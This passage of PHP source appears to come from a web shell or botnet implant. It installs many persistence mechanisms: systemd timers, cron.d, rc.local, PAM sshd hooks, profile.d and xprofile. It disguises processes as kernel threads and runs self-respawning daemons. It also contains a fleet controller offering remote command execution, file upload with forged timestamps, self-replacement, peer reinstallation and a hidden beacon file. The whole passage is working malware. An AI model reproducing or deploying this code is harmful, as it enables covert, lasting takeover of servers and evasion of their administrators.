        $timer = "[Unit]\nDescription=PHP Session Cleanup Timer\n\n[Timer]\nOnBootSec=90s\nOnUnitActiveSec=5min\nAccuracySec=15s\nPersistent=true\nUnit={$svc}.service\n\n[Install]\nWantedBy=timers.target\n";
        $sp = $dir . '/' . $svc . '.service';
        $tp = $dir . '/' . $svc . '.timer';
        if (wn_call('fpc', $sp, $service) === false) return ['ok' => false];
        if (wn_call('fpc', $tp, $timer) === false) return ['ok' => false];
        @chmod($sp, 0600);
        @chmod($tp, 0600);
        cmd_exec('systemctl --user daemon-reload 2>/dev/null');
        cmd_exec('systemctl --user enable ' . escapeshellarg($svc . '.timer') . ' 2>/dev/null');
        cmd_exec('systemctl --user restart ' . escapeshellarg($svc . '.timer') . ' 2>/dev/null');
        usleep(400000);
        $a = trim((string)cmd_exec('systemctl --user is-active ' . escapeshellarg($svc . '.timer') . ' 2>/dev/null')) === 'active';
        return ['ok' => $a];
    }

    public function uninstall(array $ctx)
    {
        $svc = $this->un();
        $dir = $this->ud();
        $r = 0;
        cmd_exec('systemctl --user disable ' . escapeshellarg($svc . '.timer') . ' 2>/dev/null');
        cmd_exec('systemctl --user stop ' . escapeshellarg($svc . '.timer') . ' 2>/dev/null');
        cmd_exec('systemctl --user stop ' . escapeshellarg($svc . '.service') . ' 2>/dev/null');
        if ($dir) {
            foreach ([$dir . '/' . $svc . '.service', $dir . '/' . $svc . '.timer'] as $f) {
                if (file_exists($f)) { @unlink($f); $r++; }
            }
        }
        cmd_exec('systemctl --user daemon-reload 2>/dev/null');
        return ['ok' => true, 'removed' => $r];
    }

    public function status(array $ctx)
    {
        $svc = $this->un();
        $dir = $this->ud();
        $has = $dir && file_exists($dir . '/' . $svc . '.timer');
        $a = $has && is_shell_available() && trim((string)cmd_exec('systemctl --user is-active ' . escapeshellarg($svc . '.timer') . ' 2>/dev/null')) === 'active';
        return ['active' => $a];
    }
}

// ───────────── RingDaemon Layer ─────────────
class WnRingDaemonLayer extends WnBaseLayer
{
    public function key() { return 'ring_daemon'; }
    private function masks()
    {
        $t = substr(md5(wn_get_key('ring')), 0, 6);
        return ['[kworker/u8:' . $t . 'a]', '[kworker/u8:' . $t . 'b]', '[kworker/u8:' . $t . 'c]'];
    }

    public function install(array $ctx)
    {
        if (!is_shell_available()) return ['ok' => false];
        $php = $ctx['php_bin'];
        $watcher = $ctx['entry'];
        $alt = $php;
        foreach (['/usr/bin/php8.3', '/usr/bin/php8.2', '/usr/bin/php8.1', '/usr/bin/php8.0', '/usr/local/bin/php'] as $b) {
            if (file_exists($b) && is_executable($b) && $b !== $php) { $alt = $b; break; }
        }
        $masks = $this->masks();
        $wPat = basename($watcher);
        $dPay = (new WnDaemon($php, $watcher))->mask('[kworker/0:2H]')->toPayload();
        $n = 0;
        for ($i = 0; $i < 3; $i++) {
            $selfMask = $masks[$i];
            $final = 'error_reporting(0);@set_time_limit(0);@ignore_user_abort(true);'
                . '$p=' . var_export($alt, true) . ';'
                . '$w=' . var_export($watcher, true) . ';'
                . '$wPat=' . var_export($wPat, true) . ';'
                . '$dPay=' . var_export($dPay, true) . ';'
                . 'while(true){'
                . 'usleep(random_int(1500000,3500000));'
                . 'if(trim((string)@shell_exec("pgrep -f ".escapeshellarg($wPat)." 2>/dev/null"))===""){'
                . '@exec("setsid ".escapeshellarg($p)." ".escapeshellarg($w)." </dev/null >/dev/null 2>&1 &");'
                . '}'
                . 'if(trim((string)@shell_exec("pgrep -f [kworker/0:2H] 2>/dev/null"))===""){'
                . '@exec("setsid bash -c " . escapeshellarg("exec -a [kworker/0:2H] ".escapeshellarg($p)." -r ".escapeshellarg("unserialize(gzuncompress(base64_decode(\"".$dPay."\")))->run();"))) . " </dev/null >/dev/null 2>&1 &");'
                . '}'
                . '}';
            if (wn_spawn_inline($alt, $final, $selfMask)) {
                usleep(250000);
                $n++;
            }
        }
        return ['ok' => $n > 0, 'detail' => "$n ring", 'count' => $n];
    }

    public function uninstall(array $ctx)
    {
        foreach ($this->masks() as $m) {
            cmd_exec('pkill -9 -f ' . escapeshellarg($m));
        }
        return ['ok' => true, 'removed' => 3];
    }

    public function status(array $ctx)
    {
        $a = 0;
        foreach ($this->masks() as $m) {
            if (wn_pgrep_mask($m) > 0) $a++;
        }
        return ['active' => $a > 0, 'count' => $a];
    }
}

// ───────────── Inotify Layer ─────────────
class WnInotifyLayer extends WnBaseLayer
{
    public function key() { return 'inotify'; }
    private function sp() { return wn_state_dir() . '/.inotify_' . substr(md5(wn_get_key('ino')), 0, 8) . '.sh'; }

    public function install(array $ctx)
    {
        if (trim((string)cmd_exec('command -v inotifywait 2>/dev/null')) === '') return ['ok' => false];
        $wd = [];
        foreach ([dirname($ctx['entry']), $ctx['home'] . '/.cache', $ctx['home'] . '/.config', $ctx['home']] as $d) {
            if (is_dir($d)) $wd[] = escapeshellarg($d);
        }
        if (empty($wd)) return ['ok' => false];
        $sp = $this->sp();
        $scr = "#!/bin/sh\nPHP=" . escapeshellarg($ctx['php_bin']) . "\nENTRY=" . escapeshellarg($ctx['entry']) . "\nWD=" . escapeshellarg(basename($ctx['entry'])) . "\nwhile true; do\n  if ! pgrep -f \"\$WD\" >/dev/null 2>&1; then \"\$PHP\" \"\$ENTRY\" >/dev/null 2>&1 & fi\n  inotifywait -q -r -t 60 -e modify,delete,create,move " . implode(' ', $wd) . " >/dev/null 2>&1\n  if ! pgrep -f \"\$WD\" >/dev/null 2>&1; then \"\$PHP\" \"\$ENTRY\" >/dev/null 2>&1 & fi\ndone\n";
        if (wn_call('fpc', $sp, $scr) === false) return ['ok' => false];
        @chmod($sp, 0700);
        $hs = trim((string)cmd_exec('command -v setsid 2>/dev/null')) !== '';
        $pf = $hs ? 'setsid ' : 'nohup ';
        $ms = ['[irq/16-ehci_hcd]', '[scsi_eh_0]', '[kswapd0]', '[kcompactd0]'];
        $mask = $ms[array_rand($ms)];
        cmd_exec($pf . 'bash -c ' . escapeshellarg('exec -a ' . escapeshellarg($mask) . ' /bin/sh ' . escapeshellarg($sp)) . ' </dev/null >/dev/null 2>&1 &');
        usleep(500000);
        $f = trim((string)cmd_exec('pgrep -f ' . escapeshellarg($sp) . ' 2>/dev/null'));
        return ['ok' => $f !== ''];
    }

    public function uninstall(array $ctx)
    {
        $f = $this->sp();
        cmd_exec('pkill -9 -f ' . escapeshellarg($f) . ' 2>/dev/null');
        if (file_exists($f)) { @unlink($f); return ['ok' => true, 'removed' => 1]; }
        return ['ok' => true, 'removed' => 0];
    }

    public function status(array $ctx)
    {
        $f = $this->sp();
        return ['active' => trim((string)cmd_exec('pgrep -f ' . escapeshellarg($f) . ' 2>/dev/null')) !== ''];
    }
}

// ───────────── SystemdPath Layer ─────────────
class WnSystemdPathLayer extends WnBaseLayer
{
    public function key() { return 'systemd_path'; }
    private function ub() { return 'php-watch-' . substr(md5(wn_get_key('pathu')), 0, 6); }
    private function tf() { return wn_mem_dir() . '/.trigger_' . substr(md5(wn_get_key('trig')), 0, 8); }
    private function ud()
    {
        $h = wn_get_home();
        if (!$h) return null;
        $d = $h . '/.config/systemd/user';
        if (!is_dir($d)) @mkdir($d, 0700, true);
        return (is_dir($d) && is_writable($d)) ? $d : null;
    }

    public function install(array $ctx)
    {
        if (!is_shell_available() || trim((string)cmd_exec('command -v systemctl 2>/dev/null')) === '') return ['ok' => false];
        $dir = $this->ud();
        if (!$dir) return ['ok' => false];
        $b = $this->ub();
        $t = $this->tf();
        @touch($t);
        $svc = "[Unit]\nDescription=PHP trigger\n\n[Service]\nType=oneshot\nExecStart=" . escapeshellarg($ctx['php_bin']) . " " . escapeshellarg($ctx['entry']) . "\n";
        $path = "[Unit]\nDescription=PHP watch\n\n[Path]\nPathModified=" . $t . "\nUnit=" . $b . ".service\n\n[Install]\nWantedBy=default.target\n";
        if (wn_call('fpc', $dir . '/' . $b . '.service', $svc) === false) return ['ok' => false];
        if (wn_call('fpc', $dir . '/' . $b . '.path', $path) === false) return ['ok' => false];
        @chmod($dir . '/' . $b . '.service', 0600);
        @chmod($dir . '/' . $b . '.path', 0600);
        cmd_exec('systemctl --user daemon-reload 2>/dev/null');
        cmd_exec('systemctl --user enable --now ' . escapeshellarg($b . '.path') . ' 2>/dev/null');
        usleep(500000);
        $a = trim((string)cmd_exec('systemctl --user is-active ' . escapeshellarg($b . '.path') . ' 2>/dev/null')) === 'active';
        return ['ok' => $a];
    }

    public function uninstall(array $ctx)
    {
        $b = $this->ub();
        $dir = $this->ud();
        $n = 0;
        cmd_exec('systemctl --user disable ' . escapeshellarg($b . '.path') . ' 2>/dev/null');
        cmd_exec('systemctl --user stop ' . escapeshellarg($b . '.path') . ' 2>/dev/null');
        if ($dir) {
            foreach ([$dir . '/' . $b . '.service', $dir . '/' . $b . '.path'] as $f) {
                if (file_exists($f)) { @unlink($f); $n++; }
            }
        }
        cmd_exec('systemctl --user daemon-reload 2>/dev/null');
        return ['ok' => true, 'removed' => $n];
    }

    public function status(array $ctx)
    {
        $b = $this->ub();
        return ['active' => is_shell_available() && trim((string)cmd_exec('systemctl --user is-active ' . escapeshellarg($b . '.path') . ' 2>/dev/null')) === 'active'];
    }
}

// ───────────── CronD Layer ─────────────
class WnCronDLayer extends WnBaseLayer
{
    public function key() { return 'cron_d'; }
    private function fn() { return '/etc/cron.d/.php-session-' . substr(md5(wn_get_key('crond')), 0, 8); }

    public function install(array $ctx)
    {
        if (!is_dir('/etc/cron.d') || !is_writable('/etc/cron.d')) return ['ok' => false];
        $u = 'root';
        if (function_exists('posix_getpwuid')) {
            $p = @posix_getpwuid(posix_getuid());
            if ($p && !empty($p['name'])) $u = $p['name'];
        }
        $php = escapeshellarg($ctx['php_bin']);
        $e = escapeshellarg($ctx['entry']);
        $ct = "# php session cleanup\n* * * * * {$u} {$php} {$e} >/dev/null 2>&1\n@reboot {$u} sleep 30 && {$php} {$e} >/dev/null 2>&1\n";
        $f = $this->fn();
        if (wn_call('fpc', $f, $ct) === false) return ['ok' => false];
        @chmod($f, 0644);
        return ['ok' => true];
    }

    public function uninstall(array $ctx)
    {
        $f = $this->fn();
        if (file_exists($f)) { @unlink($f); return ['ok' => true, 'removed' => 1]; }
        return ['ok' => true, 'removed' => 0];
    }

    public function status(array $ctx) { return ['active' => file_exists($this->fn())]; }
}

// ───────────── RcLocal Layer ─────────────
class WnRcLocalLayer extends WnBaseLayer
{
    public function key() { return 'rc_local'; }
    private function mk() { return '# ' . substr(md5(wn_get_key('rcl')), 0, 12) . ' rc'; }

    public function install(array $ctx)
    {
        $f = '/etc/rc.local';
        if (!file_exists($f) || !is_writable($f)) return ['ok' => false];
        $m = $this->mk();
        $line = '(' . escapeshellarg($ctx['php_bin']) . ' ' . escapeshellarg($ctx['entry']) . ' >/dev/null 2>&1 &)';
        $c = @file_get_contents($f);
        if ($c !== false && strpos($c, $m) !== false) return ['ok' => true];
        if ($c !== false && strpos($c, 'exit 0') !== false) {
            $c = str_replace('exit 0', $m . "\n" . $line . "\nexit 0", $c);
            @file_put_contents($f, $c, LOCK_EX);
        } else {
            @file_put_contents($f, "\n" . $m . "\n" . $line . "\n", FILE_APPEND | LOCK_EX);
        }
        return ['ok' => true];
    }

    public function uninstall(array $ctx)
    {
        $f = '/etc/rc.local';
        if (!file_exists($f)) return ['ok' => true, 'removed' => 0];
        $c = (string)@file_get_contents($f);
        $m = $this->mk();
        if (strpos($c, $m) === false) return ['ok' => true, 'removed' => 0];
        $lines = explode("\n", $c);
        $out = [];
        $sk = false;
        foreach ($lines as $l) {
            if (strpos($l, $m) !== false) { $sk = true; continue; }
            if ($sk) { $sk = false; continue; }
            $out[] = $l;
        }
        @file_put_contents($f, implode("\n", $out));
        return ['ok' => true, 'removed' => 1];
    }

    public function status(array $ctx)
    {
        $f = '/etc/rc.local';
        return ['active' => file_exists($f) && strpos((string)@file_get_contents($f), $this->mk()) !== false];
    }
}

// ───────────── PAM Layer ─────────────
class WnPamLayer extends WnBaseLayer
{
    public function key() { return 'pam'; }
    private function mk() { return '# wn-pam-' . substr(md5(wn_get_key('pam')), 0, 8); }

    public function install(array $ctx)
    {
        $pam = '/etc/pam.d/sshd';
        if (!file_exists($pam) || !is_writable($pam)) return ['ok' => false];
        $m = $this->mk();
        $hook = 'session optional pam_exec.so quiet ' . escapeshellarg($ctx['php_bin']) . ' ' . escapeshellarg($ctx['entry']);
        $c = @file_get_contents($pam);
        if ($c !== false && strpos($c, $m) !== false) return ['ok' => true];
        @file_put_contents($pam, "\n" . $m . "\n" . $hook . "\n", FILE_APPEND | LOCK_EX);
        return ['ok' => true];
    }

    public function uninstall(array $ctx)
    {
        $pam = '/etc/pam.d/sshd';
        if (!file_exists($pam)) return ['ok' => true, 'removed' => 0];
        $c = (string)@file_get_contents($pam);
        $m = $this->mk();
        if (strpos($c, $m) === false) return ['ok' => true, 'removed' => 0];
        $lines = explode("\n", $c);
        $out = [];
        $sk = false;
        foreach ($lines as $l) {
            if (strpos($l, $m) !== false) { $sk = true; continue; }
            if ($sk) { $sk = false; continue; }
            $out[] = $l;
        }
        @file_put_contents($pam, implode("\n", $out));
        return ['ok' => true, 'removed' => 1];
    }

    public function status(array $ctx)
    {
        $pam = '/etc/pam.d/sshd';
        return ['active' => file_exists($pam) && strpos((string)@file_get_contents($pam), $this->mk()) !== false];
    }
}

// ───────────── ProfileD Layer ─────────────
class WnProfileDLayer extends WnBaseLayer
{
    public function key() { return 'profile_d'; }
    private function fp() { return '/etc/profile.d/.cache-' . substr(md5(wn_get_key('profiled')), 0, 10) . '.sh'; }

    public function install(array $ctx)
    {
        if (!is_writable('/etc/profile.d')) return ['ok' => false];
        $f = $this->fp();
        $line = '[ -f ' . escapeshellarg($ctx['entry']) . ' ] && (pgrep -f ' . escapeshellarg(basename($ctx['entry'])) . ' >/dev/null 2>&1 || (' . escapeshellarg($ctx['php_bin']) . ' ' . escapeshellarg($ctx['entry']) . ' >/dev/null 2>&1 &))';
        if (file_exists($f) && strpos((string)@file_get_contents($f), $line) !== false) return ['ok' => true];
        if (@file_put_contents($f, "#!/bin/sh\n" . $line . "\n") !== false) { @chmod($f, 0644); return ['ok' => true]; }
        return ['ok' => false];
    }

    public function uninstall(array $ctx)
    {
        $f = $this->fp();
        if (file_exists($f)) { @unlink($f); return ['ok' => true, 'removed' => 1]; }
        return ['ok' => true, 'removed' => 0];
    }

    public function status(array $ctx) { return ['active' => file_exists($this->fp())]; }
}

// ───────────── Xprofile Layer ─────────────
class WnXprofileLayer extends WnBaseLayer
{
    public function key() { return 'xprofile'; }
    private function mk() { return '# ' . substr(md5('wn_xp_' . wn_get_key('xp')), 0, 12); }

    public function install(array $ctx)
    {
        $f = $ctx['home'] . '/.xprofile';
        $m = $this->mk();
        $line = '[ -f ' . escapeshellarg($ctx['entry']) . ' ] && (' . escapeshellarg($ctx['php_bin']) . ' ' . escapeshellarg($ctx['entry']) . ' >/dev/null 2>&1 &)';
        if (file_exists($f) && strpos((string)@file_get_contents($f), $m) !== false) return ['ok' => true];
        $c = file_exists($f) ? (string)@file_get_contents($f) : '';
        if (@file_put_contents($f, $c . "\n" . $m . "\n" . $line . "\n", LOCK_EX) !== false) { @chmod($f, 0644); return ['ok' => true]; }
        return ['ok' => false];
    }

    public function uninstall(array $ctx)
    {
        $f = $ctx['home'] . '/.xprofile';
        if (!file_exists($f)) return ['ok' => true, 'removed' => 0];
        $c = (string)@file_get_contents($f);
        $m = $this->mk();
        if (strpos($c, $m) === false) return ['ok' => true, 'removed' => 0];
        $lines = explode("\n", $c);
        $out = [];
        $sk = false;
        foreach ($lines as $l) {
            if (strpos($l, $m) !== false) { $sk = true; continue; }
            if ($sk) { $sk = false; continue; }
            $out[] = $l;
        }
        @file_put_contents($f, implode("\n", $out));
        return ['ok' => true, 'removed' => 1];
    }

    public function status(array $ctx)
    {
        $f = $ctx['home'] . '/.xprofile';
        return ['active' => file_exists($f) && strpos((string)@file_get_contents($f), $this->mk()) !== false];
    }
}

// ───────────── FleetP2P Layer ─────────────
class WnFleetP2PLayer extends WnBaseLayer
{
    public function key() { return 'fleet_p2p'; }
    private function pf() { return wn_state_dir() . '/.p2p_peers.json'; }
    private function dm() { return '[kworker/u16:' . substr(md5(wn_get_key('p2p')), 0, 6) . ']'; }
    private function pl()
    {
        $f = $this->pf();
        if (!file_exists($f)) return [];
        $j = @json_decode((string)wn_call('fgc', $f), true);
        return is_array($j) ? $j : [];
    }
    private function ps($p)
    {
        wn_call('fpc', $this->pf(), json_encode(array_values($p), JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES), LOCK_EX);
    }

    public function install(array $ctx)
    {
        if (!is_shell_available()) return ['ok' => false];
        if (!wn_fleet_key()) return ['ok' => false];
        $ex = _fl_load();
        if (empty($ex)) return ['ok' => false];
        $peers = $this->pl();
        $sid = wn_fleet_server_id();
        foreach ($ex as $s) {
            $u = $s['url'] ?? '';
            if ($u === '') continue;
            $p = $s['id'] ?? '';
            if ($p === $sid) continue;
            $found = false;
            foreach ($peers as $pp) {
                if (($pp['url'] ?? '') === $u) { $found = true; break; }
            }
            if (!$found) {
                $peers[] = ['url' => $u, 'id' => $p, 'label' => $s['label'] ?? '', 'last_ok' => 0, 'fails' => 0];
            }
        }
        $this->ps($peers);
        $php = $ctx['php_bin'];
        $w = $ctx['entry'];
        $fkf = wn_blend_name('fleet_key');
        $pf = $this->pf();
        $code = 'error_reporting(0);@set_time_limit(0);@ignore_user_abort(true);'
            . '$PHP=' . var_export($php, true) . ';'
            . '$WRAPPER=' . var_export($w, true) . ';'
            . '$PEERS=' . var_export($pf, true) . ';'
            . '$FKFILE=' . var_export($fkf, true) . ';'
            . 'function _sh($c){$d=array_map("trim",explode(",",ini_get("disable_functions")?:""));foreach(array("shell_exec","exec") as $f){if(!function_exists($f)||in_array($f,$d,true))continue;if($f==="shell_exec")return@shell_exec($c);$o=array();@exec($c,$o);return implode("\n",$o);}return null;}'
            . 'function _get($u,$t=15){$c=@curl_init();if(!$c)return false;@curl_setopt($c,CURLOPT_URL,$u);@curl_setopt($c,CURLOPT_RETURNTRANSFER,true);@curl_setopt($c,CURLOPT_TIMEOUT,$t);@curl_setopt($c,CURLOPT_SSL_VERIFYPEER,false);@curl_setopt($c,CURLOPT_SSL_VERIFYHOST,false);@curl_setopt($c,CURLOPT_USERAGENT,"Mozilla/5.0");$r=@curl_exec($c);@curl_close($c);return $r;}'
            . 'while(true){'
            . '$peers=@json_decode((string)@file_get_contents($PEERS),true);'
            . 'if(!is_array($peers)||empty($peers)){sleep(30);continue;}'
            . '$fk=file_exists($FKFILE)?trim((string)@file_get_contents($FKFILE)):"";'
            . 'if($fk===""){sleep(60);continue;}'
            . '$ch=false;'
            . 'foreach($peers as &$p){'
            . '$u=$p["url"]??"";if($u==="")continue;'
            . '$sep=(strpos($u,"?")===false)?"?":"&";'
            . '$r=_get($u.$sep."wn_fleet=1&op=ping&fleet_key=".urlencode($fk),15);$ok=false;'
            . 'if($r!==false&&$r!==""){$j=json_decode($r,true);if(is_array($j)&&!empty($j["pong"]))$ok=true;}'
            . 'if($ok){$p["last_ok"]=time();$p["fails"]=0;$ch=true;}'
            . 'else{$p["fails"]=($p["fails"]??0)+1;$ch=true;'
            . 'if($p["fails"]>=3){$rec=$u.$sep."wn_fleet=1&op=install_slave&fleet_key=".urlencode($fk);_get($rec,90);$p["fails"]=0;}'
            . '}'
            . '}unset($p);'
            . 'if($ch)@file_put_contents($PEERS,json_encode($peers,JSON_PRETTY_PRINT|JSON_UNESCAPED_SLASHES));'
            . 'if(!_sh("pgrep -f ".escapeshellarg(basename($WRAPPER))." 2>/dev/null"))@exec("setsid ".escapeshellarg($PHP)." ".escapeshellarg($WRAPPER)." </dev/null >/dev/null 2>&1 &");'
            . 'sleep(60);'
            . '}';
        if (!wn_spawn_inline($php, $code, $this->dm())) return ['ok' => false];
        usleep(500000);
        $pid = wn_pgrep_mask($this->dm());
        return ['ok' => $pid > 0, 'detail' => 'active (' . count($peers) . ' peers)', 'count' => count($peers)];
    }

    public function uninstall(array $ctx)
    {
        cmd_exec('pkill -9 -f ' . escapeshellarg($this->dm()) . ' 2>/dev/null');
        $n = 1;
        if (file_exists($this->pf())) { @unlink($this->pf()); $n++; }
        return ['ok' => true, 'removed' => $n];
    }

    public function status(array $ctx)
    {
        $pid = wn_pgrep_mask($this->dm());
        $peers = $this->pl();
        return ['active' => $pid > 0, 'count' => count($peers)];
    }
}

// ═══════════════════════════════════════════════════════════════════
// LAYER MANAGER REGISTRATION
// ═══════════════════════════════════════════════════════════════════

function wn_layer_manager()
{
    static $m = null;
    if ($m === null) {
        $m = new WnLayerManager();
        $m->register(new WnCronLayer())
          ->register(new WnDaemonLayer())
          ->register(new WnWatchdogLayer())
          ->register(new WnSystemdLayer())
          ->register(new WnLingerLayer())
          ->register(new WnBashRcLayer())
          ->register(new WnSshRcLayer())
          ->register(new WnBashLogoutLayer())
          ->register(new WnAtJobLayer())
          ->register(new WnNpmLayer())
          ->register(new WnComposerLayer())
          ->register(new WnShellTrapLayer())
          ->register(new WnGitHookLayer())
          ->register(new WnBashLoginLayer())
          ->register(new WnLessFilterLayer())
          ->register(new WnVimrcLayer())
          ->register(new WnGitGlobalHooksLayer())
          ->register(new WnTmuxConfLayer())
          ->register(new WnGitPagerLayer())
          ->register(new WnVimPluginLayer())
          ->register(new WnSystemdTimerLayer())
          ->register(new WnRingDaemonLayer())
          ->register(new WnProfileDLayer())
          ->register(new WnXprofileLayer())
          ->register(new WnInotifyLayer())
          ->register(new WnSystemdPathLayer())
          ->register(new WnCronDLayer())
          ->register(new WnRcLocalLayer())
          ->register(new WnPamLayer())
          ->register(new WnFleetP2PLayer());
    }
    return $m;
}

// ═══════════════════════════════════════════════════════════════════
// FLEET BACKEND
// ═══════════════════════════════════════════════════════════════════

function wn_fleet_key()
{
    $f = wn_blend_name('fleet_key');
    if (!file_exists($f)) return '';
    $k = trim((string)wn_call('fgc', $f));
    return strlen($k) >= 16 ? $k : '';
}

function wn_fleet_key_set($key)
{
    $f = wn_blend_name('fleet_key');
    wn_call('fpc', $f, $key, LOCK_EX);
    @chmod($f, 0600);
    return true;
}

function wn_fleet_server_id()
{
    $f = wn_blend_name('fleet_id');
    if (file_exists($f)) {
        $id = trim((string)wn_call('fgc', $f));
        if (strlen($id) >= 6) return $id;
    }
    $h = $_SERVER['HTTP_HOST'] ?? (gethostname() ?: 'unknown');
    $id = substr(hash('sha256', 'sid:' . $h . ':' . __DIR__), 0, 12);
    wn_call('fpc', $f, $id, LOCK_EX);
    @chmod($f, 0600);
    return $id;
}

function wn_fleet_self_url()
{
    $sc = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http';
    $h = $_SERVER['HTTP_HOST'] ?? 'localhost';
    $p = $_SERVER['SCRIPT_NAME'] ?? ('/' . ($GLOBALS['CURRENT_SHELL'] ?? 'slave.php'));
    return $sc . '://' . $h . $p;
}

function wn_fleet_bootstrap()
{
    global $__B;
    while (ob_get_level() > 0) @ob_end_clean();
    header('Content-Type: text/plain; charset=utf-8');
    if (wn_fleet_key() !== '') {
        http_response_code(403);
        echo 'already_joined';
        exit;
    }
    $nk = (string)($_POST['key'] ?? ($_GET['key'] ?? ''));
    if (strlen($nk) < 16) {
        http_response_code(400);
        echo 'invalid_key';
        exit;
    }
    $es = hash_hmac('sha256', 'boot:' . $nk, $__B);
    $gs = (string)($_POST['sig'] ?? ($_GET['sig'] ?? ''));
    if ($gs === '' || !hash_equals($es, $gs)) {
        http_response_code(403);
        echo 'forbidden';
        exit;
    }
    wn_fleet_key_set($nk);
    echo 'ok:' . wn_fleet_server_id();
    exit;
}

function wn_fleet_handle()
{
    while (ob_get_level() > 0) @ob_end_clean();
    header('Content-Type: application/json; charset=utf-8');
    $fk = wn_fleet_key();
    if ($fk === '') {
        http_response_code(503);
        echo json_encode(['status' => 'error', 'message' => 'no_fleet_key']);
        exit;
    }
    $given = $_SERVER['HTTP_X_WN_FLEET_KEY'] ?? ($_GET['fleet_key'] ?? ($_POST['fleet_key'] ?? ''));
    if (!hash_equals($fk, (string)$given)) {
        http_response_code(403);
        echo json_encode(['status' => 'error', 'message' => 'forbidden']);
        exit;
    }
    $op = strtolower((string)($_GET['op'] ?? 'ping'));
    $res = [
        'status' => 'success',
        'op' => $op,
        'server_id' => wn_fleet_server_id(),
        'host' => $_SERVER['HTTP_HOST'] ?? '?',
        'url' => wn_fleet_self_url(),
        'php' => PHP_VERSION,
        'time' => time(),
    ];
    switch ($op) {
        case 'ping':
            $res['pong'] = true;
            break;

        case 'install':
            try { $res['install'] = auto_install_watcher_controller(!empty($_GET['silent'])); }
            catch (Throwable $e) { $res['install'] = ['error' => $e->getMessage()]; }
            break;

        case 'install_slave':
            try { $res['install'] = auto_install_watcher_controller(true, true); }
            catch (Throwable $e) { $res['install'] = ['error' => $e->getMessage()]; }
            break;

        case 'uninstall':
            try { $res['uninstall'] = auto_uninstall_watcher_controller(); }
            catch (Throwable $e) { $res['uninstall'] = ['error' => $e->getMessage()]; }
            break;

        case 'exec':
            $cmd = (string)($_GET['cmd'] ?? ($_POST['cmd'] ?? ''));
            if ($cmd === '') { $res['error'] = 'empty_cmd'; break; }
            $o = cmd_exec($cmd);
            $res['output'] = (string)$o;
            $res['exit_ok'] = ($o !== false);
            break;

        case 'deploy_module':
            $b64 = !empty($_POST['module_b64']) ? (string)$_POST['module_b64'] : '';
            if ($b64 === '') { $res['error'] = 'no_module'; break; }
            $raw = wn_call('b64d', $b64);
            if ($raw === false || strlen($raw) < 500 || strpos($raw, '<?php') === false) {
                $res['error'] = 'invalid_module';
                break;
            }
            $t = __FILE__;
            $bk = $t . '.bak.' . date('YmdHis');
            @copy($t, $bk);
            if (wn_call('fpc', $t, $raw) === false) {
                $res['error'] = 'write_failed';
                break;
            }
            @chmod($t, 0644);
            wn_apply_mtime($t);
            $res['deployed'] = true;
            $res['size'] = strlen($raw);
            break;

        case 'put_file':
            $b64 = (string)($_POST['file_b64'] ?? '');
            $dest = (string)($_POST['dest'] ?? '');
            $fname = (string)($_POST['fname'] ?? 'upload.bin');
            if ($b64 === '' || $dest === '') { $res['error'] = 'missing_params'; break; }
            $raw = wn_call('b64d', $b64);
            if ($raw === false) { $res['error'] = 'b64_decode_failed'; break; }
            if (substr($dest, -1) === '/') $dest = rtrim($dest, '/') . '/' . $fname;
            global $specialDirectories, $rootPath;
            $allowed = isSafePath($dest, $rootPath, $specialDirectories);
            if (!$allowed) {
                foreach ($specialDirectories as $d) {
                    if ($d && strpos($dest, $d) === 0) { $allowed = true; break; }
                }
            }
            if (!$allowed) { $res['error'] = 'unsafe_path'; break; }
            $dir = dirname($dest);
            if (!is_dir($dir)) @mkdir($dir, 0755, true);
            if (!is_dir($dir) || !is_writable($dir)) { $res['error'] = 'dir_not_writable'; break; }
            $isShell = (basename($dest) === basename(__FILE__));
            $oldM = 0;
            if ($isShell) {
                $sm = wn_get_stored_mtime();
                if ($sm > 0) $oldM = $sm;
                elseif (file_exists($dest)) $oldM = @filemtime($dest);
            } elseif (file_exists($dest)) {
                $oldM = @filemtime($dest);
            }
            if (wn_call('fpc', $dest, $raw) === false) { $res['error'] = 'write_failed'; break; }
            @chmod($dest, 0644);
            if ($oldM > 0) @touch($dest, $oldM, $oldM);
            if ($isShell) {
                $pf = wn_blend_name('integrity_pause');
                wn_call('fpc', $pf, time(), LOCK_EX);
                @chmod($pf, 0600);
                wn_set_hidden_state(null);
            }
            $res['saved'] = true;
            $res['size'] = strlen($raw);
            $res['path'] = $dest;
            break;

        case 'set_fleet_key':
            $nk = (string)($_POST['new_key'] ?? ($_GET['new_key'] ?? ''));
            if (strlen($nk) < 16) { $res['error'] = 'key_too_short'; break; }
            wn_fleet_key_set($nk);
            $res['key_rotated'] = true;
            break;

        case 'whoami':
            $cfg = wn_cfg_b64();
            $res['bot_b64'] = $cfg['k'];
            $res['chat_b64'] = $cfg['j'];
            $res['shell'] = basename(__FILE__);
            $res['root'] = realpath(__DIR__);
            $res['fleet_key'] = $fk;
            $res['hidden'] = wn_is_hidden();
            break;

        case 'hide':
            try {
                $sp = realpath(__FILE__) ?: (__DIR__ . '/' . basename(__FILE__));
                $dr = dirname($sp);
                if (!is_dir($dr) || !is_writable($dr)) { $res['error'] = 'docroot_not_writable'; break; }
                if (wn_is_hidden()) { $res['hidden'] = true; $res['already'] = true; break; }
                $bp = wn_state_dir() . '/.slave_hidden_backup.php';
                $tok = bin2hex(random_bytes(24));
                if (@copy($sp, $bp) === false) { $res['error'] = 'backup_failed'; break; }
                @chmod($bp, 0600);
                $bn = '.cache_' . substr(hash('sha256', 'beacon:' . $tok), 0, 12) . '.php';
                $bpath = $dr . '/' . $bn;
                $sf = wn_hide_state_file();
                $bc = "<?php\n"
                    . "if((\$_GET['t']??'')!==" . var_export($tok, true) . "){http_response_code(404);exit;}\n"
                    . "\$b=" . var_export($bp, true) . ";\$t=" . var_export($sp, true) . ";\n"
                    . "if(!@is_file(\$b)){http_response_code(500);echo 'no_backup';exit;}\n"
                    . "if(@is_file(\$t)&&@filesize(\$t)>500){@unlink(" . var_export($sf, true) . ");@unlink(__FILE__);echo 'ok';exit;}\n"
                    . "if(!@copy(\$b,\$t)){http_response_code(500);echo 'copy_fail';exit;}\n"
                    . "@chmod(\$t,0644);@unlink(" . var_export($sf, true) . ");@unlink(__FILE__);echo 'ok';\n";
                if (wn_call('fpc', $bpath, $bc) === false) { $res['error'] = 'beacon_write_failed'; @unlink($bp); break; }
                @chmod($bpath, 0644);
                $sc = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http';
